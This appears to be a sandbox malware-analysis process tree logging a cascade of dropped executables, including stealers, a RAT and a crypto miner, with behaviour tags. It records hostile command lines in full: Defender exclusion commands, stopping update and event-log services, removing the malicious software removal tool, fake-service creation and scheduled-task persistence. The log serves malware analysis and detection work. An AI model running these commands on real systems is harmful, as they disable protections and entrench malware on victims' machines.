C:\Users\Admin\AppData\Local\Temp\Files\f4438ed05971a15d70c9683dc9e1a55c583ea8c61039e9e85eb391ca6e3fa0ae.exe
"C:\Users\Admin\AppData\Local\Temp\Files\f4438ed05971a15d70c9683dc9e1a55c583ea8c61039e9e85eb391ca6e3fa0ae.exe"
2⤵
- Suspicious use of SetThreadContext
PID:7004

C:\Users\Admin\AppData\Local\Temp\Files\f4438ed05971a15d70c9683dc9e1a55c583ea8c61039e9e85eb391ca6e3fa0ae.exe
"C:\Users\Admin\AppData\Local\Temp\Files\f4438ed05971a15d70c9683dc9e1a55c583ea8c61039e9e85eb391ca6e3fa0ae.exe"
3⤵
PID:6716

C:\Users\Admin\AppData\Local\Temp\Files\images.exe
"C:\Users\Admin\AppData\Local\Temp\Files\images.exe"
2⤵
- Modifies WinLogon for persistence
- Disables RegEdit via registry modification
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Windows directory
PID:2140

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /C AT /delete /yes
3⤵
PID:8444

C:\Windows\SysWOW64\at.exe
AT /delete /yes
4⤵
PID:9100

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /C AT 09:00 /interactive /EVERY:m,t,w,th,f,s,su C:\Windows\system32\RVHOST.exe
3⤵
PID:6820

C:\Windows\SysWOW64\at.exe
AT 09:00 /interactive /EVERY:m,t,w,th,f,s,su C:\Windows\system32\RVHOST.exe
4⤵
PID:2860

C:\Users\Admin\AppData\Local\Temp\Files\jopacrypt.exe
"C:\Users\Admin\AppData\Local\Temp\Files\jopacrypt.exe"
2⤵
PID:8392

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:6920

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:8124

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:5572

C:\Users\Admin\AppData\Local\Temp\Files\ama.exe
"C:\Users\Admin\AppData\Local\Temp\Files\ama.exe"
2⤵
PID:8480

C:\Users\Admin\AppData\Local\Temp\Files\Itkool-Setup.exe
"C:\Users\Admin\AppData\Local\Temp\Files\Itkool-Setup.exe"
2⤵
PID:9204

C:\Users\Admin\AppData\Local\Temp\Files\inte.exe
"C:\Users\Admin\AppData\Local\Temp\Files\inte.exe"
2⤵
PID:8156

C:\Users\Admin\AppData\Local\Temp\Files\WatchDog.exe
"C:\Users\Admin\AppData\Local\Temp\Files\WatchDog.exe"
2⤵
PID:8232

C:\Users\Admin\AppData\Local\Temp\Files\gpupdate.exe
"C:\Users\Admin\AppData\Local\Temp\Files\gpupdate.exe"
2⤵
- Suspicious use of SetThreadContext
PID:8512

C:\Users\Admin\AppData\Local\Temp\Files\Temp3.exe
"C:\Users\Admin\AppData\Local\Temp\Files\Temp3.exe"
2⤵
PID:8796

C:\Users\Admin\AppData\Local\Temp\Files\lumma1234.exe
"C:\Users\Admin\AppData\Local\Temp\Files\lumma1234.exe"
2⤵
- Suspicious use of SetThreadContext
PID:9104

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:8556

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:8452

C:\Users\Admin\AppData\Local\Temp\Files\VLTKNhatRac.exe
"C:\Users\Admin\AppData\Local\Temp\Files\VLTKNhatRac.exe"
2⤵
PID:488

C:\Users\Admin\AppData\Local\Temp\Files\NeonRank.exe
"C:\Users\Admin\AppData\Local\Temp\Files\NeonRank.exe"
2⤵
PID:8624

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /k move Bathrooms Bathrooms.bat & Bathrooms.bat & exit
3⤵
PID:10028

C:\Users\Admin\AppData\Local\Temp\Files\minuscrypt_crypted.exe
"C:\Users\Admin\AppData\Local\Temp\Files\minuscrypt_crypted.exe"
2⤵
- Suspicious use of SetThreadContext
PID:6724

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
3⤵
PID:7648

C:\Users\Admin\AppData\Local\Temp\Files\NBYS%20ASM.NET.exe
"C:\Users\Admin\AppData\Local\Temp\Files\NBYS%20ASM.NET.exe"
2⤵
PID:9140

C:\Users\Admin\AppData\Local\Temp\Files\NancyMfg.exe
"C:\Users\Admin\AppData\Local\Temp\Files\NancyMfg.exe"
2⤵
PID:8592

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /k move Blowjob Blowjob.bat & Blowjob.bat & exit
3⤵
PID:9156

C:\Users\Admin\AppData\Local\Temp\Files\InstallSetup2.exe
"C:\Users\Admin\AppData\Local\Temp\Files\InstallSetup2.exe"
2⤵
PID:1312

C:\Users\Admin\AppData\Local\Temp\Files\conhost.exe
"C:\Users\Admin\AppData\Local\Temp\Files\conhost.exe"
2⤵
PID:6308

C:\Users\Admin\AppData\Local\Temp\Files\cb0e88abe7aee128ff8635e44df9797d0224aff000d03fc5d9166e575b50f4a1.exe
"C:\Users\Admin\AppData\Local\Temp\Files\cb0e88abe7aee128ff8635e44df9797d0224aff000d03fc5d9166e575b50f4a1.exe"
2⤵
- Checks SCSI registry key(s)
PID:6512

C:\Users\Admin\AppData\Local\Temp\Files\fortnite2.exe
"C:\Users\Admin\AppData\Local\Temp\Files\fortnite2.exe"
2⤵
PID:8684

C:\Users\Admin\AppData\Local\Temp\Files\costa.exe
"C:\Users\Admin\AppData\Local\Temp\Files\costa.exe"
2⤵
PID:6348

C:\Users\Admin\AppData\Local\Temp\Files\Temp2.exe
"C:\Users\Admin\AppData\Local\Temp\Files\Temp2.exe"
2⤵
PID:8484

C:\Users\Admin\AppData\Local\Temp\Files\07c0acc9cd9a6ae4af685344e28e0a756d3f3a77a60f607d3f90f493d7061108.exe
"C:\Users\Admin\AppData\Local\Temp\Files\07c0acc9cd9a6ae4af685344e28e0a756d3f3a77a60f607d3f90f493d7061108.exe"
2⤵
PID:9176

C:\Users\Admin\AppData\Local\Temp\Files\07c0acc9cd9a6ae4af685344e28e0a756d3f3a77a60f607d3f90f493d7061108.exe
"C:\Users\Admin\AppData\Local\Temp\Files\07c0acc9cd9a6ae4af685344e28e0a756d3f3a77a60f607d3f90f493d7061108.exe"
3⤵
- Checks SCSI registry key(s)
PID:8712

C:\Users\Admin\AppData\Local\Temp\Files\soft.exe
"C:\Users\Admin\AppData\Local\Temp\Files\soft.exe"
2⤵
- Suspicious use of SetThreadContext
PID:8844

C:\Users\Admin\AppData\Local\Temp\Files\soft.exe
"C:\Users\Admin\AppData\Local\Temp\Files\soft.exe"
3⤵
PID:6696

C:\Users\Admin\AppData\Local\Temp\Files\SuburbansKamacite.exe
"C:\Users\Admin\AppData\Local\Temp\Files\SuburbansKamacite.exe"
2⤵
PID:8424

C:\Users\Admin\AppData\Local\Temp\Files\ce0b953269c74bc.exe
"C:\Users\Admin\AppData\Local\Temp\Files\ce0b953269c74bc.exe"
2⤵
PID:5948

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:6560

C:\Users\Admin\AppData\Local\Temp\Files\Horpxuoxm.exe
"C:\Users\Admin\AppData\Local\Temp\Files\Horpxuoxm.exe"
2⤵
PID:6464

C:\Users\Admin\AppData\Local\Temp\Files\1234daisaaaaa.exe
"C:\Users\Admin\AppData\Local\Temp\Files\1234daisaaaaa.exe"
2⤵
PID:7812

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:9456

C:\Users\Admin\AppData\Local\Temp\Files\Creal.exe
"C:\Users\Admin\AppData\Local\Temp\Files\Creal.exe"
2⤵
PID:9052

C:\Users\Admin\AppData\Local\Temp\Files\Creal.exe
"C:\Users\Admin\AppData\Local\Temp\Files\Creal.exe"
3⤵
PID:7752

C:\Users\Admin\AppData\Local\Temp\Files\plink.exe
"C:\Users\Admin\AppData\Local\Temp\Files\plink.exe"
2⤵
- Suspicious use of SetThreadContext
PID:7388

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:6064

C:\Users\Admin\AppData\Local\Temp\Files\csaff.exe
"C:\Users\Admin\AppData\Local\Temp\Files\csaff.exe"
2⤵
PID:8172

C:\Users\Admin\AppData\Local\SquirrelTemp\Update.exe
"C:\Users\Admin\AppData\Local\SquirrelTemp\Update.exe" --install .
3⤵
PID:6376

C:\Users\Admin\AppData\Local\Temp\Files\rty37.exe
"C:\Users\Admin\AppData\Local\Temp\Files\rty37.exe"
2⤵
- Loads dropped DLL
- Drops desktop.ini file(s)
PID:5984

C:\Users\Admin\AppData\Local\Temp\Files\LM.exe
"C:\Users\Admin\AppData\Local\Temp\Files\LM.exe"
2⤵
PID:8944

C:\Users\Admin\AppData\Local\Temp\Files\zxcvb.exe
"C:\Users\Admin\AppData\Local\Temp\Files\zxcvb.exe"
2⤵
PID:2044

C:\Users\Admin\AppData\Local\Temp\Files\socks5-clean.exe
"C:\Users\Admin\AppData\Local\Temp\Files\socks5-clean.exe"
2⤵
PID:8680

C:\Users\Admin\AppData\Local\Temp\Files\html.exe
"C:\Users\Admin\AppData\Local\Temp\Files\html.exe"
2⤵
PID:9188

C:\Users\Admin\AppData\Local\Temp\Files\$77_loader.exe
"C:\Users\Admin\AppData\Local\Temp\Files\$77_loader.exe"
2⤵
PID:2672

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\v0nyu9h-.cmdline"
3⤵
PID:1648

C:\Users\Admin\AppData\Local\Temp\Files\v4install.exe
"C:\Users\Admin\AppData\Local\Temp\Files\v4install.exe"
2⤵
PID:3788

C:\Users\Admin\AppData\Local\Temp\Files\current.exe
"C:\Users\Admin\AppData\Local\Temp\Files\current.exe"
2⤵
PID:8328

C:\Users\Admin\AppData\Local\Temp\Files\123.exe
"C:\Users\Admin\AppData\Local\Temp\Files\123.exe"
2⤵
PID:8760

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell "" "Get-WmiObject Win32_PortConnector"
3⤵
PID:10708

C:\Users\Admin\AppData\Local\Temp\Files\beacon_wlan0.exe
"C:\Users\Admin\AppData\Local\Temp\Files\beacon_wlan0.exe"
2⤵
PID:6840

C:\Users\Admin\AppData\Local\Temp\Files\d4598b22.exe
"C:\Users\Admin\AppData\Local\Temp\Files\d4598b22.exe"
2⤵
PID:7304

C:\Users\Admin\AppData\Local\Temp\Files\865b3db67f0565e0b41e72aa036d78183c33dab95bd4be7b4f13aebda88ab0c0.exe
"C:\Users\Admin\AppData\Local\Temp\Files\865b3db67f0565e0b41e72aa036d78183c33dab95bd4be7b4f13aebda88ab0c0.exe"
2⤵
PID:5348

C:\Users\Admin\AppData\Local\Temp\Files\865b3db67f0565e0b41e72aa036d78183c33dab95bd4be7b4f13aebda88ab0c0.exe
"C:\Users\Admin\AppData\Local\Temp\Files\865b3db67f0565e0b41e72aa036d78183c33dab95bd4be7b4f13aebda88ab0c0.exe"
3⤵
- Suspicious use of SetThreadContext
PID:8392

C:\Users\Admin\AppData\Local\Temp\Files\lolMiner.exe
"C:\Users\Admin\AppData\Local\Temp\Files\lolMiner.exe"
2⤵
PID:7748

C:\Users\Admin\AppData\Local\Temp\Files\native.exe
"C:\Users\Admin\AppData\Local\Temp\Files\native.exe"
2⤵
- Loads dropped DLL
- Suspicious use of SetThreadContext
PID:7840

C:\Users\Admin\AppData\Local\Temp\Files\StealerClient_Cpp_1_4.exe
"C:\Users\Admin\AppData\Local\Temp\Files\StealerClient_Cpp_1_4.exe"
2⤵
PID:1804

C:\Users\Admin\AppData\Local\Temp\Files\goldpricesup12.exe
"C:\Users\Admin\AppData\Local\Temp\Files\goldpricesup12.exe"
2⤵
PID:8268

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:7028

C:\Users\Admin\AppData\Local\Temp\Files\superz.exe
"C:\Users\Admin\AppData\Local\Temp\Files\superz.exe"
2⤵
PID:3324

C:\Users\Admin\AppData\Local\Temp\Files\b5ed26bd6f40eda4ff90ec9b4a60b295c77a723d38ebebb0c70997caedc6fb8c.exe
"C:\Users\Admin\AppData\Local\Temp\Files\b5ed26bd6f40eda4ff90ec9b4a60b295c77a723d38ebebb0c70997caedc6fb8c.exe"
2⤵
PID:7444

C:\Users\Admin\AppData\Local\Temp\Files\idrB5Event.exe
"C:\Users\Admin\AppData\Local\Temp\Files\idrB5Event.exe"
2⤵
PID:10884

C:\Users\Admin\AppData\Local\Temp\Files\029375780db860b29c868bb8e790fc388d6a0cce986be2b6af6e0bd5d85a5e31.exe
"C:\Users\Admin\AppData\Local\Temp\Files\029375780db860b29c868bb8e790fc388d6a0cce986be2b6af6e0bd5d85a5e31.exe"
2⤵
PID:8876

C:\Users\Admin\AppData\Local\Temp\Files\029375780db860b29c868bb8e790fc388d6a0cce986be2b6af6e0bd5d85a5e31.exe
"C:\Users\Admin\AppData\Local\Temp\Files\029375780db860b29c868bb8e790fc388d6a0cce986be2b6af6e0bd5d85a5e31.exe"
3⤵
PID:2024

C:\Users\Admin\AppData\Local\Temp\Files\VoidRAT.exe
"C:\Users\Admin\AppData\Local\Temp\Files\VoidRAT.exe"
2⤵
PID:6704

C:\Users\Admin\AppData\Local\Temp\Files\more.exe
"C:\Users\Admin\AppData\Local\Temp\Files\more.exe"
2⤵
PID:11200

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"
1⤵
- Creates scheduled task(s)
PID:2372

C:\Users\Admin\AppData\Local\Temp\Files\7e207560.exe
"C:\Users\Admin\AppData\Local\Temp\Files\7e207560.exe" -service -lunch
1⤵
PID:2132

C:\Users\Admin\AppData\Local\Temp\Files\7e207560.exe
"C:\Users\Admin\AppData\Local\Temp\Files\7e207560.exe"
2⤵
- Executes dropped EXE
PID:2640

C:\Users\Admin\AppData\Local\Temp\721E.exe
C:\Users\Admin\AppData\Local\Temp\721E.exe
1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:4068

C:\Users\Admin\AppData\Local\Temp\96CD.exe
C:\Users\Admin\AppData\Local\Temp\96CD.exe
1⤵
PID:2292

C:\Users\Admin\AppData\Local\Temp\96CD.exe
C:\Users\Admin\AppData\Local\Temp\96CD.exe
2⤵
- Executes dropped EXE
- Adds Run key to start application
PID:4268

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Users\Admin\AppData\Local\24d0272b-cda1-42f8-be99-bd7f28cf6634" /deny *S-1-1-0:(OI)(CI)(DE,DC)
3⤵
- Modifies file permissions
PID:4872

C:\Users\Admin\AppData\Local\Temp\96CD.exe
"C:\Users\Admin\AppData\Local\Temp\96CD.exe" --Admin IsNotAutoStart IsNotTask
3⤵
PID:4480

C:\Users\Admin\AppData\Local\Temp\96CD.exe
"C:\Users\Admin\AppData\Local\Temp\96CD.exe" --Admin IsNotAutoStart IsNotTask
4⤵
- Executes dropped EXE
PID:2572

C:\Users\Admin\AppData\Local\23b6aa04-7b25-441d-a543-1fb206476212\build2.exe
"C:\Users\Admin\AppData\Local\23b6aa04-7b25-441d-a543-1fb206476212\build2.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5072

C:\Users\Admin\AppData\Local\23b6aa04-7b25-441d-a543-1fb206476212\build2.exe
"C:\Users\Admin\AppData\Local\23b6aa04-7b25-441d-a543-1fb206476212\build2.exe"
6⤵
- Executes dropped EXE
PID:1336

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1336 -s 1444
7⤵
- Program crash
PID:5952

C:\Users\Admin\AppData\Local\23b6aa04-7b25-441d-a543-1fb206476212\build3.exe
"C:\Users\Admin\AppData\Local\23b6aa04-7b25-441d-a543-1fb206476212\build3.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4360

C:\Users\Admin\AppData\Local\23b6aa04-7b25-441d-a543-1fb206476212\build3.exe
"C:\Users\Admin\AppData\Local\23b6aa04-7b25-441d-a543-1fb206476212\build3.exe"
6⤵
- Executes dropped EXE
PID:1332

C:\Windows\SysWOW64\schtasks.exe
/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
7⤵
- Creates scheduled task(s)
PID:4152

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
8⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
PID:1600

C:\Users\Admin\AppData\Local\Temp\BEF8.exe
C:\Users\Admin\AppData\Local\Temp\BEF8.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1668

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
2⤵
PID:4856

C:\Users\Admin\AppData\Local\Temp\filename.exe
"C:\Users\Admin\AppData\Local\Temp\filename.exe"
3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Drops file in Drivers directory
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5020

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
4⤵
PID:5260

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
4⤵
- Launches sc.exe
PID:1732

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
4⤵
PID:4320

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
5⤵
PID:3996

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
4⤵
- Launches sc.exe
PID:5964

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
4⤵
- Launches sc.exe
PID:4792

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
4⤵
- Launches sc.exe
PID:5584

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
4⤵
- Launches sc.exe
PID:4788

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"
4⤵
- Launches sc.exe
PID:4244

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
4⤵
PID:3388

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
4⤵
PID:5900

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
4⤵
PID:6084

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
4⤵
PID:5220

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"
4⤵
- Launches sc.exe
PID:3512

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"
4⤵
- Launches sc.exe
PID:5672

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop eventlog
4⤵
- Launches sc.exe
PID:4324

C:\Users\Admin\AppData\Local\Temp\D48.exe
C:\Users\Admin\AppData\Local\Temp\D48.exe
1⤵
- Executes dropped EXE
PID:1864

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\298B.bat" "
1⤵
PID:776

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\Software\clicker\key" /v primary /t REG_DWORD /d 1
2⤵
PID:5412

C:\Users\Admin\AppData\Local\Temp\4AD0.exe
C:\Users\Admin\AppData\Local\Temp\4AD0.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5132

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
2⤵
PID:6104

C:\Users\Admin\AppData\Local\Temp\9C7B.exe
C:\Users\Admin\AppData\Local\Temp\9C7B.exe
1⤵
PID:5428

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
2⤵
PID:2140

C:\Users\Admin\AppData\Local\Temp\B989.exe
C:\Users\Admin\AppData\Local\Temp\B989.exe
1⤵
PID:5852

C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe
C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe
1⤵
- Executes dropped EXE
PID:5576

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"
2⤵
PID:6504

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"
3⤵
- Creates scheduled task(s)
PID:5076

C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe
C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5840

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
- Executes dropped EXE
PID:5864

C:\ProgramData\Google\Chrome\updater.exe
C:\ProgramData\Google\Chrome\updater.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2664

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4032

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
PID:5800

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
PID:5948

C:\ProgramData\odvhyxzhhqlu\gzexiztdwrwd.exe
C:\ProgramData\odvhyxzhhqlu\gzexiztdwrwd.exe
1⤵
- Suspicious use of SetThreadContext
PID:5204

C:\Windows\explorer.exe
explorer.exe
2⤵
PID:4112

C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe
C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5932

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s Netman
1⤵
PID:7112

C:\ProgramData\mkiurbjjkopl\vzxmpncsktsu.exe
C:\ProgramData\mkiurbjjkopl\vzxmpncsktsu.exe
1⤵
PID:7388

C:\Windows\explorer.exe
explorer.exe
2⤵
PID:7436

C:\ProgramData\eyfisgalqlbk\iojmibhyhiws.exe
C:\ProgramData\eyfisgalqlbk\iojmibhyhiws.exe
1⤵
- Checks BIOS information in registry
- Suspicious use of SetThreadContext
PID:5784

C:\Windows\system32\conhost.exe
C:\Windows\system32\conhost.exe
2⤵
PID:7808

C:\Windows\system32\conhost.exe
conhost.exe
2⤵
PID:7224

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
PID:236

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding 4F63EC662232C9C9E2298DC9D382CF86 C
2⤵
- Loads dropped DLL
- Checks SCSI registry key(s)
PID:6788

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding 776BEBA22A83F5914ACAF76AAFAF7160
2⤵
PID:6868

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:7608

C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe
C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5316

C:\Users\Admin\AppData\Roaming\uuishcr
C:\Users\Admin\AppData\Roaming\uuishcr
1⤵
PID:6680

C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe
C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:6740

C:\Users\Admin\AppData\Roaming\Windata\system.exe
C:\Users\Admin\AppData\Roaming\Windata\system.exe
1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:364

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -s Netman
1⤵
PID:7976

C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe
C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:8132

C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe
C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
PID:7996

C:\Users\Admin\AppData\Roaming\Windata\system.exe
C:\Users\Admin\AppData\Roaming\Windata\system.exe
1⤵
PID:2388

C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe
C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
PID:7296

C:\Users\Admin\AppData\Local\Temp\Files\hiuhehufw.exe
C:\Users\Admin\AppData\Local\Temp\Files\hiuhehufw.exe
1⤵
- Checks computer location settings
PID:5640

C:\Windows\system32\cmd.exe
"cmd.exe" /C schtasks /create /tn \MicrosoftPlatformRenderer{37379bc5-bb9c-4fca-aa31-e33b4e087725} /tr "C:\Users\Admin\AppData\Local\Temp\Files\hiuhehufw.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
2⤵
PID:2028

C:\Windows\system32\schtasks.exe
schtasks /create /tn \MicrosoftPlatformRenderer{37379bc5-bb9c-4fca-aa31-e33b4e087725} /tr "C:\Users\Admin\AppData\Local\Temp\Files\hiuhehufw.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
3⤵
- Creates scheduled task(s)
PID:8976

C:\ProgramData\xcfonrchdkar\vueqjgslwynd.exe
C:\ProgramData\xcfonrchdkar\vueqjgslwynd.exe
1⤵
PID:3612

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
2⤵
- Drops file in Program Files directory
PID:9152

C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe
C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of SetThreadContext
PID:9176

C:\Users\Admin\AppData\Local\24d0272b-cda1-42f8-be99-bd7f28cf6634\96CD.exe
